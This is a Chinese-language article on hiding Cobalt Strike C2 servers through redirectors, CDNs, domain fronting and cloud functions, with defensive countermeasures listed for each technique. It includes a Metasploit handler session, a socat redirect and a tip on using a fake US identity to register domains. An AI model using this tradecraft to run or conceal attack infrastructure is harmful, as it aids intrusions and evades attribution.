常见的C2服务器隐藏技术
在网络攻防中,攻击方如何隐藏自己的C2服务器,避免被溯源是一项必备的技能;从防守方角度,了解隐藏C2服务器的方法,有助于帮助扩宽防守视野,思考如何进一步增强防守能力。下面分享一些C2隐藏手段和防护手段,并进行一些实验验证隐藏C2服务器的可行性。
Cobalt Strike简介
简介
Cobalt Strike是一款渗透测试神器,常被业界人称为CS神器。Cobalt Strike已经不再使用MSF而是作为单独的平台使用,它分为客户端与服务端,服务端是一个,客户端可以有多个,可被团队进行分布式协团操作。
Cobalt Strike主要针对Windows,集成了端口转发、扫描多模式端口Listener、Windows exe程序生成、Windows dll动态链接库生成、java程序生成、office宏代码生成,包括站点克隆获取浏览器的相关信息等。
攻击步骤
- 连接CS服务器
- 创建监听器
- 生成Payload
- 后渗透相关
CS文件
-
agscript:拓展应用的脚本。
-
c2lint:用于检查profile 的错误和异常。
-
teamserver:团队服务器程序。
-
cobaltstrike 和 cobaltstrike.jar:客户端程序。因为teamserver文件是通过Java来调用CobaltStrike 的,所以直接在命令行环境中输入第一个文件的内容也能启动Cobalt Strike 客户端 (主要是为了方便操作)。
-
logs:日志,包括 Web日志、Beacon日志、截图日志、下载日志、键盘记录日志等。
-
datas:用于保存当前TeamServer的一些数据。
-
update 和 update.jar:用于更新Cobalt Strike。
开启团队服务器
./teamserver your_ip your_passowrd [config_file]
主界面
基础使用
Cobalt Strike
新建链接(可以支持多个服务端)
设置(配置控制台界面)
可视化(展示控制的形式)
VPN接口(配置VPN)
监听器(管理监听配置)
脚本管理器(管理脚本,用于管理第三方脚本)
View
Application 被攻击的机器的应用信息
Credentials 凭证信息
Downloads 下载文件
Event Log 事件记录
Keystrokes 键盘记录
Proxy Pivots 代理信息
Screenshots 屏幕截图
Script Console 脚本控制台
Targets- 显示目标主机
Web Log- web日志
Attacks
Packages
HTML Application 生成恶意的HTA木马文件
MS Office Macro 生成office宏病毒文件
Payload Generator 生成各种语言版本的payload
Windows Executable 生成可执行Payload
Windows Executable(S) 把包含payload,Stageless生成可执行文件
WebDrive-by
Manage 对开启的web服务进行管理
Clone Site 克隆网站
Scripted Web Delivery 生成PowerShell Payload
Signed Applet Attack 启动一个Web服务以提供自签名Java Applet的运行环境
Smart Applet Attack自动检测Java版本并利用已知的exploits绕过防护
System Profiler 信息搜集
Spear Phish 钓鱼攻击
Reporting
活动报告(Activity Report) 此报告中提供了红队活动的时间表,记录了每个后渗透活动。
主机报告(Hosts Report) 此报告中汇总了Cobalt Strike收集的主机信息,凭据、服务和会话也会在此报告中。
侵害指标报告(Indicators of Compromise) 此报告中包括对C2拓展文件的分析、使用的域名及上传文件的MD5哈希。
会话报告(Sessions Report) 此报告中记录了指标和活动,包括每个会话回连到自己的通信路径、后渗透活动的时间线等。
社工报告(Social Engineering Report) 此报告中记录了每一轮网络钓鱼的电子邮件、谁点击以及从每个点击用户那里收集的信息。该报告还显示了Cobalt Strike的System profiler发现的应用程序。
战术、技巧和程序报告(Tactics,Techniques,and Procedures) 此报告将自己的Cobalt Strike行动映射到MITRE的ATT&CK矩阵中的战术
监听器
Name #监听器name
Payload
Beacon 内置监听器
DNS:使用DNS请求将Beacon返回。这些 DNS 请求用于解析由CS 团队服务器作为权威DNS服务器的域名
HTTP(最常用):通过 HTTP GET 请求来下载任务。这些 Beacon 通过 HTTP POST 请求传回数据
-参数:
HTTP Hosts:进行回连的主机(shell反弹的主机)
HTTP Host(Stager):Stager的马请求下载payload的地址
HTTP Port(Bind):字段指定你的 HTTP Beacon payload web 服务器绑定的端口,可用于重定向
HTTP Host Header:指定请求头,可以用域前置(个人理解是有重定向器的话,可以用这个指定真的C2服务器位置)
HTTP Proxy:为payload 指定一个显式的代理配置
HTTPS:使用GET和POST的方式传输数据,不同点在于HTTPS使用了SSL,因此HTTPS Beacon就需要使用一个有效的SSL证书
SMB:使用命名管道通过一个父 Beacon 进行通信。这种对等通信对同一台主机上的 Beacon 和跨网络的 Beacon 都有效。Windows 将命名管道通信封装在 SMB 协议中
TCP TCP传输数据
Foreign 对外监听器,这种类型的监听器主要作用是给其他的Payload提供别名,比如Metasploit 框架里的Payload
HTTP
HTTPS
Beacon
可以针对上线的主机进行一些渗透操作
beacon> help
Beacon Commands
===============
Command Description
------- -----------
argue 匹配进程的欺骗参数
blockdlls 在子进程中阻止非 Microsoft DLL
browserpivot 设置浏览器数据pivot会话
cancel 取消正在进行的下载
cd Change directory
checkin Call home and post data
clear 清除beacon队列
connect 通过 TCP 连接到 Beacon peer
covertvpn Deploy Covert VPN client
cp Copy a file
dcsync Extract a password hash from a DC
desktop View and interact with target's desktop
dllinject Inject a Reflective DLL into a process
dllload Load DLL into a process with LoadLibrary()
download Download a file
downloads Lists file downloads in progress
drives List drives on target
elevate 在提权的上下文中生成会话
execute Execute a program on target (no output)
execute-assembly Execute a local .NET program in-memory on target
exit Terminate the beacon session
getprivs Enable system privileges on current token
getsystem Attempt to get SYSTEM
getuid Get User ID
hashdump Dump password hashes
help Help menu
inject Spawn a session in a specific process
jobkill Kill a long-running post-exploitation task
jobs List long-running post-exploitation tasks
jump Spawn a session on a remote host
kerberos_ccache_use Apply kerberos ticket from cache to this session
kerberos_ticket_purge Purge kerberos tickets from this session
kerberos_ticket_use Apply kerberos ticket to this session
keylogger Inject a keystroke logger into a process
kill Kill a process
link Connect to a Beacon peer over a named pipe
logonpasswords Dump credentials and hashes with mimikatz
ls List files
make_token Create a token to pass credentials
mimikatz Runs a mimikatz command
mkdir Make a directory
mode dns Use DNS A as data channel (DNS beacon only)
mode dns-txt Use DNS TXT as data channel (DNS beacon only)
mode dns6 Use DNS AAAA as data channel (DNS beacon only)
mv Move a file
net Network and host enumeration tool
note Assign a note to this Beacon
portscan Scan a network for open services
powerpick Execute a command via Unmanaged PowerShell
powershell Execute a command via powershell.exe
powershell-import Import a powershell script
ppid Set parent PID for spawned post-ex jobs
ps Show process list
psinject Execute PowerShell command in specific process
pth Pass-the-hash using Mimikatz
pwd Print current directory
reg Query the registry
remote-exec Run a command on a remote host
rev2self Revert to original token
rm Remove a file or folder
rportfwd Setup a reverse port forward
run Execute a program on target (returns output)
runas Execute a program as another user
runasadmin Execute a program in an elevated context
runu Execute a program under another PID
screenshot Take a screenshot
setenv Set an environment variable
shell Execute a command via cmd.exe
shinject Inject shellcode into a process
shspawn Spawn process and inject shellcode into it
sleep Set beacon sleep time
socks Start SOCKS4a server to relay traffic
socks stop Stop SOCKS4a server
spawn Spawn a session
spawnas Spawn a session as another user
spawnto Set executable to spawn processes into
spawnu Spawn a session under another process
ssh Use SSH to spawn an SSH session on a host
ssh-key Use SSH to spawn an SSH session on a host
steal_token Steal access token from a process
timestomp Apply timestamps from one file to another
unlink Disconnect from parent Beacon
upload Upload a file
联动msf
msf:192.168.220.157
CS:192.168.220.154
靶机:192.168.220.1
msf
msf > use exploit/multi/handler
msf exploit(multi/handler) > set payload windows/meterpreter/reverse_http
msf exploit(multi/handler) > set lhost 192.168.220.157
msf exploit(multi/handler) > set lport 3333
msf exploit(multi/handler) > exploit
CS:设置payload,监听为msf的ip和端口,payload需要和msf一致
最终msf成功上线
msf exploit(multi/handler) > run
[*] Started HTTP reverse handler on http://192.168.220.157:3333
[*]http://192.168.220.157:333 handling request from 192.168.220.1;(UUID: 7hebrmec)Staging x86 payload (180825 bytes) ...
[*]Meterpreter session 1 opened (192.168.220.157:3333 -> 192.168.220.1:27793) at 2822-04-1903:15:31 -0700
meterpreter >
Beacon通信过程
当 Beacon 被执行后, 会在 C2 上下载载荷执行, 即 Stage 过程, Stageless 省去了这一步。
之后Beacon 根据设置的睡眠时间进入睡眠状态, 结束后向 C2 发送有关 Beacon 的信息如系统类型, 版本, 当前用户, 称之为 Metadata。
如果存在待执行的任务, C2 就会响应发送 Metadata 的请求, Beacon 将会收到有关 Task 的具体内容和唯一的 Task ID, 并依次执行任务。
执行完毕后, Beacon 将各 Task 回显的数据与对应的 Task ID 依次上传至 C2, 然后再次进入睡眠状态。
其中 Beacon 发送 Metadata 时一般使用 GET, 上传回显数据时使用 POST。
C2 proflie文件配置
我们所使用的C2工具等,可能早已被AV等防护软件所标记,所以需要订制攻击工具。Malleable C2 是 Cobalt Strike 的一项功能, 意为 "可定制的" 的 C2 服务器.。Malleable C2 允许我们仅通过一个简单的配置文件来改变 Beacon 与 C2 通信时的流量特征与行为。
调用方法
./teamserver [external IP] [password] [/path/to/my.profile]
profile文件测试方法
./c2lint [/path/to/my.profile]
一般基本的profile一般包括以下基本部分:
公共配置
https证书(可选)
http-get
client
metadata
server
output
http-post
client
id
output
server
output
http-stager
http-config
...
-
https证书
https的证书,可用于加密自身的C2流量
-
http-get
beacon发送给c2的metadata的相关配置
-
http-post
id为task id,任务执行后,beacon需要利用post方式来与c2进行通信,需要传送一个唯一的task id值和回显。
client中的output代表的是客户端发送给服务端的响应用什么形式发送
-
http-stager
存放x64或者x86架构的stage payload的地址,主要针对于stager类型的木马有用,定义的是下载stage payload的时候的请求方式
-
http-config
配置http响应头的部分信息,当使用c2重定向技术的时需要设置set trust_x_forwarded_for
对C2的profile文件配置的方法有多种,github有多种模板,如C2concealer、malleable_profile等,也可以自己配置
生成证书工具
openssl
openssl 是目前最流行的 SSL 密码库工具,其提供了一个通用、健壮、功能完备的工具套件,用以支持SSL/TLS 协议的实现。
官网:https://www.openssl.org/source/
构成部分
- 密码算法库
- 密钥和证书封装管理功能
- SSL通信API接口
用途
- 建立 RSA、DH、DSA key 参数
- 建立 X.509 证书、证书签名请求(CSR)和CRLs(证书回收列表)
- 计算消息摘要
- 使用各种 Cipher加密/解密
- SSL/TLS 客户端以及服务器的测试
- 处理S/MIME 或者加密邮件
使用openssl生成域名p12文件语法
openssl pkcs12 -export -in com.pem -inkey com.key -out spoofdomain.p12 -name 域名 -passout pass:密码
keytool
使用keytool生成.store文件
Keytool是一个java数据证书的管理工具,keytool将密钥(key)和证书(certificates)存在一个称为keystore的文件中,即store后缀文件中。
-alias <alias> 要处理的条目的别名
-keyalg <alg> 密钥算法名称
-keysize <size> 密钥位大小
-groupname <name> Group name. For example, an Elliptic Curve name.
-sigalg <alg> 签名算法名称
-destalias <alias> 目标别名
-dname <name> 唯一判别名
-startdate <date> 证书有效期开始日期/时间
-ext <value> X.509 扩展
-validity <days> 有效天数
-keypass <arg> 密钥口令
-keystore <keystore> 密钥库名称
-storepass <arg> 密钥库口令
-storetype <type> 密钥库类型
-providername <name> 提供方名称
-addprovider <name> 按名称 (例如 SunPKCS11) 添加安全提供方
[-providerarg <arg>] 配置 -addprovider 的参数
-providerclass <class> 按全限定类名添加安全提供方
[-providerarg <arg>] 配置 -providerclass 的参数
-providerpath <list> 提供方类路径
-v 详细输出
-protected 通过受保护的机制的口令
.store文件生成语法
keytool -importkeystore -deststorepass 密码 -destkeypass 密码 -destkeystore new.store -srckeystore spoofdomain.p12 -srcstoretype PKCS12 -srcstorepass 密码 -alias 域名
C2隐藏身份
重定向隐藏
ATT&CK
ID: T1090.002
NAME:External Proxy
https://attack.mitre.org/techniques/T1090/002/
原理
在CS服务器和受害机之间设置一个转发器,即代理或者端口转发工具, 从而达到隐藏CS真实服务器的目的。
整体流量为
受害机器<——————>重定向(可部署多个)<——————>CS服务器
如socat将转发器的80端口转发到CS80端口上
socat TCP4-LISTEN:80,fork TCP4:192.168.220.154:80
优点
重定向器在攻击或者防御的过程中的作用:
- 保护自己的CS服务器,避免目标发现自己的真实IP
- 提高整体可靠性,因为可以设置多个重定向器,因此如果有个别重定向器停止工作了,整体上系统依旧是可以正常工作
缺点
- 重定向服务器可能被拦截
- 若被反向攻陷,可能暴露CS服务器
防护手段
- 使用网络签名来识别特定对手恶意软件的流量
- 分析网络数据中不常见的数据流,如客户端发送的数据明显多于从外部服务器接收的数据
- 数据包检测不符合端口预定协议行为的通信
- 拦截包含恶意流量特征的重定向服务器IP
CDN隐藏
ATT&CK
ID: T1090.002
NAME:External Proxy
https://attack.mitre.org/techniques/T1090/002/
CDN简介
CDN的全称是Content Delivery Network,即内容分发网络。CDN是构建在现有网络基础之上的智能虚拟网络,依靠部署在各地的边缘服务器,通过中心平台的负载均衡、内容分发、调度等功能模块,使用户就近获取所需内容,降低网络拥塞,提高用户访问响应速度和命中率。
CNAME域名
CNAME 即指别名记录,也被称为规范名字。一般用来把域名解析到别的域名上,当需要将域名指向另一个域名,再由另一个域名提供 ip 地址,就需要添加 CNAME 记录。
NS记录
NS(Name Server)记录是域名服务器记录,用来指定该域名由哪个DNS服务器来进行解析。
大部分CDN厂商采用CNAME加速,部分厂商如Cloudflare采用NS记录解析。
CDN节点缓存策略
- 客户端在请求域名时,先向本地DNS查询该域名对应的IP地址,本地DNS再向权威DNS进行查询,由阿里云CDN进行调度,为该DNS分配对应的节点。
- 客户端向CDN节点发起连接请求,当L1节点有缓存资源时,会命中该资源,直接将数据返回给客户端。当L1节点无缓存资源时,会向L2节点请求对应资源,如果L2节点有缓存资源,则将资源同步到L1节点,并返回给用户;如果L2节点无缓存资源,则直接回客户源站获取资源,并按照配置的缓存策略进行缓存。
CDN工作原理
假设加速域名为www.a.com
,接入CDN网络,开始使用加速服务后,当终端用户(北京)发起HTTP请求时,处理流程如下图所示。
- 当终端用户(北京)向
www.a.com
下的某资源发起请求时,首先向LDNS(本地DNS)发起域名解析请求。 - LDNS检查缓存中是否有
www.a.com
的IP地址记录。如果有,则直接返回给终端用户;如果没有,则向授权DNS查询。 - 当授权DNS解析
www.a.com
时,返回域名CNAMEwww.a.tbcdn.com
对应IP地址。 - 域名解析请求发送至阿里云DNS调度系统,并为请求分配最佳节点IP地址。
- LDNS获取DNS返回的解析IP地址。
- 用户获取解析IP地址。
- 用户向获取的IP地址发起对该资源的访问请求。
- 如果该IP地址对应的节点已缓存该资源,则会将数据直接返回给用户,例如,图中步骤7和8,请求结束。
- 如果该IP地址对应的节点未缓存该资源,则节点向源站发起对该资源的请求。获取资源后,结合用户自定义配置的缓存策略,将资源缓存至节点,例如,图中的北京节点,并返回给用户,请求结束。
CDN隐藏原理
CDN能够对域名进行加速,当对某个域名进行访问时,并不会直接解析到IP,因此可以给攻击VPS申请一个CDN加速服务,从而达到隐藏IP的效果
例如,对jchen.tk访问
#未配置CDN(真实IP)
C:\Users\hillstone>ping jchen.tk
正在 Ping jchen.tk [209.141.62.84] 具有 32 字节的数据:
来自 209.141.62.84 的回复: 字节=32 时间=159ms TTL=45
来自 209.141.62.84 的回复: 字节=32 时间=152ms TTL=45
来自 209.141.62.84 的回复: 字节=32 时间=189ms TTL=45
来自 209.141.62.84 的回复: 字节=32 时间=157ms TTL=45
209.141.62.84 的 Ping 统计信息:
数据包: 已发送 = 4,已接收 = 4,丢失 = 0 (0% 丢失),
往返行程的估计时间(以毫秒为单位):
最短 = 152ms,最长 = 189ms,平均 = 164ms
#配置CDN
C:\Users\jchen>ping jchen.tk
正在 Ping jchen.tk [172.67.198.241] 具有 32 字节的数据:
来自 172.67.198.241 的回复: 字节=32 时间=155ms TTL=53
来自 172.67.198.241 的回复: 字节=32 时间=157ms TTL=53
来自 172.67.198.241 的回复: 字节=32 时间=158ms TTL=53
来自 172.67.198.241 的回复: 字节=32 时间=155ms TTL=53
172.67.198.241 的 Ping 统计信息:
数据包: 已发送 = 4,已接收 = 4,丢失 = 0 (0% 丢失),
往返行程的估计时间(以毫秒为单位):
最短 = 155ms,最长 = 158ms,平均 = 156ms
或者
C:\Users\hillstone>nslookup jchen.tk
服务器: Qogir.Hillstonenet.com
Address: 10.88.7.10
非权威应答:
名称: jchen.tk
Addresses: 2606:4700:3037::ac43:c6f1
2606:4700:3036::6815:3cb3
172.67.198.241
104.21.60.179
注:104.21.60.179和172.67.198.241为Clouflare的CDN服务器,解析到的ip可能会变化
优点
隐藏了IP,可以一定程度上避免溯源
缺点
会保留域名,因此为了避免溯源需要申请未备案域名,且域名有可能被拦截,需要重新配置,一定程度上尤其是一个IP拥有多个domain时,容易被溯源到IP
扩展
申请未备案域名申请地址:www.freenom.com
.tk域名是南太平洋岛国托克劳的顶级域名,.ml则是马里的顶级域名,.cf则是中非共和国的域名,不过搜索引擎基本上已经不收录了,虽然这些域名和.cn其实没什么区别。以前这些免费域名都是分开注册的,后来都被托管到了freenom,在freenom可以申请一年的未备案域名,具体可以参考https://mp.weixin.qq.com/s/4LDpKKMuOHNSPxWrkv3tFA
注意:需要一个美国的IP和身份,且IP和身份的地址要相同
美国身份生成地址:http://www.haoweichi.com/
防护手段
-
使用网络签名来识别特定对手恶意软件的流量
-
分析网络数据中不常见的数据流,如客户端发送的数据明显多于从外部服务器接收的数据
-
数据包检测不符合端口预定协议行为的通信
-
确认自己资产中是否CDN的正常业务,若无则进行拦截
-
通过溯源手段尝试对IP进行溯源。
域前置隐藏
ATT&CK
-
ID:T1090.004
-
Name:Domain Fronting
https://attack.mitre.org/techniques/T1090/004/
CDN机制
Domain Fronting基于HTTPS通用规避技术,也被称为域前置/端网络攻击技术。这是一种用来隐藏Metasploit,Cobalt Strike等团队控制服务器流量,以此来一定程度绕过检查器或防火墙检测的技术,如Amazon ,Google,Akamai 等大型厂商会提供一些域前端技术服务。
Domain Fronting 的核心技术是 CDN,CDN有一个工作机制
一般情况下,1台 CDN 会同时负责多个网站的加速服务,如果访问的两个网站(a.com 和 b.com)都是由同1台 CDN 服务器(1.1.1.1)进行加速服务,当使用浏览器访问这两个域名时,浏览器实际上访问的都是 1.1.1.1 这台 CDN 服务器,但在浏览器访问的域名有可能是 a.com 也可能是 b.com,所以 1.1.1.1 这台 CDN 服务器必须清楚地知道访问的是哪个域名,然后才能返回对应域名的内容。
CDN在HTTP请求包中包含了我们要访问的域名
两个域名jchen.tk
和www.travelnewst.xyz
分别nslookup,发现为同一批CDN服务器
C:\Users\jchen>nslookup jchen.tk
服务器: Hero.Hillstonenet.com
Address: 10.88.7.11
非权威应答:
名称: jchen.tk
Addresses: 2606:4700:3037::ac43:c6f1
2606:4700:3036::6815:3cb3
104.21.60.179
172.67.198.241
C:\Users\jchen>nslookup www.travelnewst.xyz
服务器: Hero.Hillstonenet.com
Address: 10.88.7.11
非权威应答:
DNS request timed out.
timeout was 2 seconds.
名称: www.travelnewst.xyz
Addresses: 104.21.60.179
172.67.198.241
对jchen.tk
请求
C:\Users\jchen>curl jchen.tk
<a href="https://jchen.tk/">Moved Permanently</a>.
对www.travelnewst.xyz
请求
C:\Users\jchen>curl www.travelnewst.xyz
<!DOCTYPE html>
<html style="height:100%">
<head>
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" />
<title> 301 Moved Permanently
</title></head>
<body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;">
<div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;">
<h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">301</h1>
<h2 style="margin-top:20px;font-size: 30px;">Moved Permanently
</h2>
<p>The document has been permanently moved.</p>
</div></div></body></html>
两个域名返回的信息不同
对其中一台公共CDN服务器进行请求,并设置Host为jchen.tk
或者www.travelnewst.xyz
C:\Users\jchen>curl 172.67.198.241 -H "Host: jchen.tk" -v
* Trying 172.67.198.241:80...
* Connected to 172.67.198.241 (172.67.198.241) port 80 (#0)
> GET / HTTP/1.1
> Host: jchen.tk
> User-Agent: curl/7.79.1
> Accept: */*
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 301 Moved Permanently
< Date: Thu, 14 Apr 2022 03:09:48 GMT
< Content-Type: text/html; charset=utf-8
< Transfer-Encoding: chunked
< Connection: keep-alive
< Location: https://jchen.tk/
< CF-Cache-Status: DYNAMIC
< Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=FVg3KZkFzU%2BVv6ellYJ5lh4mTxeT%2F5NL8Z5xJfMS5StkUK8gXM47zTRBDoAIl2D%2BrhfIFFGBFcciuL9KgWumd3gM%2FB%2BBFr3ak3uwr0FHAEXk0ACN345ffPzhMA%3D%3D"}],"group":"cf-nel","max_age":604800}
< NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
< Server: cloudflare
< CF-RAY: 6fb93ea9ff0e7ba3-LAX
< alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400
<
<a href="https://jchen.tk/">Moved Permanently</a>.
* Connection #0 to host 172.67.198.241 left intact
C:\Users\jchen>curl 172.67.198.241 -H "Host: www.travelnewst.xyz" -v
* Trying 172.67.198.241:80...
* Connected to 172.67.198.241 (172.67.198.241) port 80 (#0)
> GET / HTTP/1.1
> Host: www.travelnewst.xyz
> User-Agent: curl/7.79.1
> Accept: */*
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 301 Moved Permanently
< Date: Thu, 14 Apr 2022 03:10:25 GMT
< Content-Type: text/html
< Transfer-Encoding: chunked
< Connection: keep-alive
< location: https://www.travelnewst.xyz/
< x-turbo-charged-by: LiteSpeed
< x-frame-options: SAMEORIGIN
< x-xss-protection: 1; mode=block
< x-content-type-options: nosniff
< strict-transport-security: max-age=31536000; includeSubDomains; preload;
< referrer-policy: no-referrer-when-downgrade
< CF-Cache-Status: DYNAMIC
< Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=XuuMKfFEPrpWkp3COh%2FLNEI3IfGkL%2FSFPoZ%2Bh0Qk1Wb%2BP1FbqfctO%2BT0wGAgcXb7Peq5DgRMhlEf4KWhT5B0sD5htIS0IleqAR0DkIa0eoVu9Y4zjhHgpcob%2FyvH2kKOHvagd3E5"}],"group":"cf-nel","max_age":604800}
< NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
< Server: cloudflare
< CF-RAY: 6fb93f904fb85361-LAX
< alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400
<
<!DOCTYPE html>
<html style="height:100%">
<head>
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" />
<title> 301 Moved Permanently
</title></head>
<body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;">
<div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;">
<h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">301</h1>
<h2 style="margin-top:20px;font-size: 30px;">Moved Permanently
</h2>
<p>The document has been permanently moved.</p>
</div></div></body></html>
* Connection #0 to host 172.67.198.241 left intact
可以发现返回结果和单独请求指定网站时的内容一样,即在访问CDN服务器时指定Host,则可以访问到Host的域名
进一步,将CDN服务器IP替换为其中的域名
C:\Users\jchen>curl www.travelnewst.xyz -H "Host: jchen.tk" -v
* Trying 104.21.60.179:80...
* Connected to www.travelnewst.xyz (104.21.60.179) port 80 (#0)
> GET / HTTP/1.1
> Host: jchen.tk
> User-Agent: curl/7.79.1
> Accept: */*
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 301 Moved Permanently
< Date: Thu, 14 Apr 2022 03:14:33 GMT
< Content-Type: text/html; charset=utf-8
< Transfer-Encoding: chunked
< Connection: keep-alive
< Location: https://jchen.tk/
< CF-Cache-Status: DYNAMIC
< Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=BlBfIgBWVTJoHER2HIR6v%2B5ESdywleaQAkYPA9FspJ7fkbCuj05uXMn70xpHwPwFi4tY67AwZ4s%2F1k1kV8yZ%2BVJ8IP6SzupOQnQHzbO68DbpJW5FGYBjO36OaA%3D%3D"}],"group":"cf-nel","max_age":604800}
< NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
< Server: cloudflare
< CF-RAY: 6fb9459e8c8a7cfe-LAX
< alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400
<
<a href="https://jchen.tk/">Moved Permanently</a>.
* Connection #0 to host www.travelnewst.xyz left intact
可以发现此时命令为curl www.travelnewst.xyz -H "Host: jchen.tk" -v
,请求的域名为www.travelnewst.xyz
,但是返回的内容仍为指定Host的jchen.tk
的内容。
尝试https访问请求
curl -v https://fastly.net -H "Host: cn.nytimes.com"
抓包查看请求,可以看到SNI保存的为fastly.net
,流量只能看到与https://fastly.net
进行通信行为。只有server端拿到明文的请求以后才会看到真实host是 cn.nytimes.com
。因为fastly.net
与cn.nytimes.com
接入了同一家CDN厂商,而回源是根据http header host进行操作。
域前置攻击原理
在明文的DNS请求和TLS服务器名称指示(SNI)中使用无害的域名来初始化连接、公布给审查者,而实际要连接的被封锁域名仅在创建 加密的HTTPS连接后发出,使其不以明文暴露给网络审查者。
在处理HTTPS请求时,CDN会首先将它解密,并根据HTTP Host的值做请求转发。
如果客户端想要访问一个非法网站forbidden.com
,它可以使用一个CDN上的合法的域名allow.com
作为SNI, 然后使用forbidden.com
作为HTTP Host与CDN进行HTTPS通信。之后,CDN会将HTTP请求重新封装,并发往forbidden.com
的源服务器。
这种情况下,客户端实际通信的对象是forbidden.com
,但在流量监控设备看来,客户端是在与allow.com
通信,即客户端将流量成功伪装成了与allow.com
通信的流量。
域前置将Host头设置为高信誉度的域名或者自己申请的伪装成高信誉域名(例如download.microsoft.com)的域名,从而将通信数据包中的Host替换为伪装域名进行请求,避免被检测到封杀。同时因为CDN的存在,访问网站时访问的实际上只是 CDN,而不是直接和网站的真实服务器进行通信,所以利用 CDN 的同时也可以隐藏我们真实C2服务器的 IP。
域前置的关键技术为在不同通信层使用不同的域名。在明文的DNS请求和TLS服务器名称指示(SNI)中使用无害的域名来初始化连接,而实际要连接的被封锁域名仅在创建加密的HTTPS连接后发出,在Host头中携带了另一个恶意C2域名(Host头对于检查器是不可见的,但是对于接收HTTPS请求的前端服务器是可见的)。
优点
可以隐藏IP和Domain,避免被溯源
缺点
部署麻烦,必须由相同服务商提供的域名才可以被前置,且大部分厂商已经禁用域前置的通信方式
防护手段
-
SNI (Server Name Indication)是用来改善服务器与客户端 SSL (Secure Socket Layer)和 TLS (Transport Layer Security) 的一个扩展。主要解决一台服务器只能使用一个证书的缺点,随着服务器对虚拟主机的支持,一个服务器上可以为多个域名提供服务。Domain Fronting流量的一个显著特点是SNI和Host不相等。可以部署HTTPS流量解密设备,并对比流量中的SNI和Host是否相等,如果不相等则说明是该流量是Domain Fronting流量
-
逆向分析Payload,可能存在一定的价值情报
扩展
正常步骤:
- 申请域名隐藏C2
- 申请CDN加速域名,需要设置CNAME
国内云特点:
阿里云的 CDN 配置中的源 IP 为自己云的服务器时,加速时会跳过对域名的检验,直接与配置中的域名绑定的源服务器IP进行通信。利用该特性,不需要真正去申请 CDN 时所填写的域名中配置解析相应的 CNAME 了。即只要C2服务器属于阿里云的服务器,就无需申请域名,只需要在申请 CDN 时随便填一个没有人绑定过的域名即可,而且这个域名我们可以填成任何高信誉的域名,如test.microsoft.com
、test.microsoft.com
通过验证该方法已经被修复,但不排除有其他的厂商有这种特性的可能
云函数隐藏
ATT&CK
ID: T1090.002
NAME:External Proxy
https://attack.mitre.org/techniques/T1090/002/
原理
API网关
两个相互独立的局域网之间通过路由器进行通信,中间的路由被称之为网关。任何一个应用系统如果需要被其他系统调用,就需要暴露 API,这些 API 代表着一个一个的功能点。如果两个系统中间通信,在系统之间加上一个中介者协助 API 的调用,这个中介者就是 API 网关。
API 网关可以放在两个系统之间,同时也可以放在客户端与服务端之间。
网关作为系统的唯一入口,进入系统的所有请求都需要经过 API 网关。
当系统外部的应用或者客户端访问系统的时候,都会遇到这样的情况:
- 系统要判断它们的权限
- 如果传输协议不一致,需要对协议进行转换
- 如果调用水平扩展的服务,需要做负载均衡
- 一旦请求流量超出系统承受的范围,需要做限流操作
- 针对每个请求以及回复,系统会记录响应的日志
只要是涉及到对系统的请求,并且能够从业务中抽离出来的功能,都有可能在网关上实现。
云函数
云函数是一段运行在云端的、轻量的、无关联的、并且可重用的代码。无需管理服务器,只需编写和上传代码,即可获得对应的数据结果。使用云函数可以使企业和开发者不需要担心服务器或底层运维设施,可以更专注代码和业务本身,也可以使代码进一步解耦,增加其重用性。简单来说就是云厂商提供了一个供代码运行的容器方便开发者便捷部署并运行应用程序,部署在云上自带CDN特效,而攻击者则利用其编写了代码对攻击流量进行了转发,完成攻击前置的目的。
云函数作为一种Serverless的服务,会有一个API网关触发器配合进行使用,该网关提供了一个厂商备案过的特定域名,具备高可信度的同时又具备IP不唯一的特点;二是云厂商在推广Serverless服务时,免费提供了一定的运行空间和请求次数。
云函数隐藏流程
适合于有公网服务器,注册了云服务商网关或者云函数产品
优点
使用高信誉域名进行连接,通常安全设备很难检测
缺点
云函数地址及请求响应包header中包含大量特征,有可能被溯源
云函数的免费请求次数限制
可能被CC攻击
防护手段
- 使用网络签名来识别特定对手恶意软件的流量
- 分析网络数据中不常见的数据流,如客户端发送的数据明显多于从外部服务器接收的数据
- 数据包检测不符合端口预定协议行为的通信
- 确认自己资产中是否云函数的正常业务,若无则进行拦截
其他手段
-
代理隧道
使用公共隧道代理服务商提供的服务获取特定的域名,通过数据转发到C2服务器,从而达到隐藏IP的目的
需要实名制认证,检测原理同上
-
开源工具
-
Noctilucent
使用DNS over HTTPS(DoH)实现将DNS查询包装在TLS连接中,从而绕过防火墙和审计设备,并且可以使用DoH为域名获取一个服务器的ESNI公钥,并用该公钥加 密ClientHello包中的server_name。当server_name被加密后,防火墙或者审计设备便无法根据 server_name来阻断非法域名的请求。
github源仓库已经被封,无法找到相关工具
-
Ninja
